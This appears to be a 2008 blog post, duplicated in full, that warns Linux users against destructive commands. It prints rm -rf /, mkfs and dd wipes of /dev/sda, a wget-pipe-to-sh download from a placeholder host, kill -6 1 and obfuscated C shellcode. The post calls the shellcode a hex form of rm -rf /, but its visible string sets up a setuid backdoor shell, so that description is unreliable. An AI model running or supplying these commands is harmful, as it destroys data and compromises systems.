Thursday, November 20. 2008What NOT to do in Linux
Linux gives you a lot of power, including the power to shoot yourself in the foot.
Here are some commands that you DO NOT want to do! Hopefully this will save you some grief from some wisecrack that tells you to run “these magical commands”.
[geshi lang=bash]rm -rf /[/geshi]
This will delete all the files and directories from all devices currently mounted as read-write under Linux. (i.e. all your files go “poof!”)
[geshi lang=bash]char esp[] attribute ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”“\x6e\x2f\x73\x68\x00\x2d\x63\x00”“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;[/geshi]
This is the hex version of rm -rf /. A lot harder to spot!
[geshi lang=bash]mkfs.ext3 /dev/sda[/geshi]
This will reformat your /dev/sda device (usually your primary hard drive)
[geshi lang=bash]dd if=/dev/zero of=/dev/sda[/geshi]
This will blank (i.e. factory default) your hard drive
This is known as a forkbomb that will start a huge amount of processes until the system crashes
[geshi lang=bash]wget http://some_untrusted_source -O- | sh[/geshi]
This will download some source code from the Internet and then execute it on your computer
[geshi lang=bash]kill -6 1[/geshi]
This will force your kernel to panic (i.e. your computer will crash)
Compiled from: this blog post and comments
Linux gives you a lot of power, including the power to shoot yourself in the foot.
Here are some commands that you DO NOT want to do! Hopefully this will save you some grief from some wisecrack that tells you to run “these magical commands”.
[geshi lang=bash]rm -rf /[/geshi]
This will delete all the files and directories from all devices currently mounted as read-write under Linux. (i.e. all your files go “poof!”)
[geshi lang=bash]char esp[] attribute ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”“\x6e\x2f\x73\x68\x00\x2d\x63\x00”“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;[/geshi]
This is the hex version of rm -rf /. A lot harder to spot!
[geshi lang=bash]mkfs.ext3 /dev/sda[/geshi]
This will reformat your /dev/sda device (usually your primary hard drive)
[geshi lang=bash]dd if=/dev/zero of=/dev/sda[/geshi]
This will blank (i.e. factory default) your hard drive
This is known as a forkbomb that will start a huge amount of processes until the system crashes
[geshi lang=bash]wget http://some_untrusted_source -O- | sh[/geshi]
This will download some source code from the Internet and then execute it on your computer
[geshi lang=bash]kill -6 1[/geshi]
This will force your kernel to panic (i.e. your computer will crash)
Compiled from: this blog post and comments






Comments
Add Comment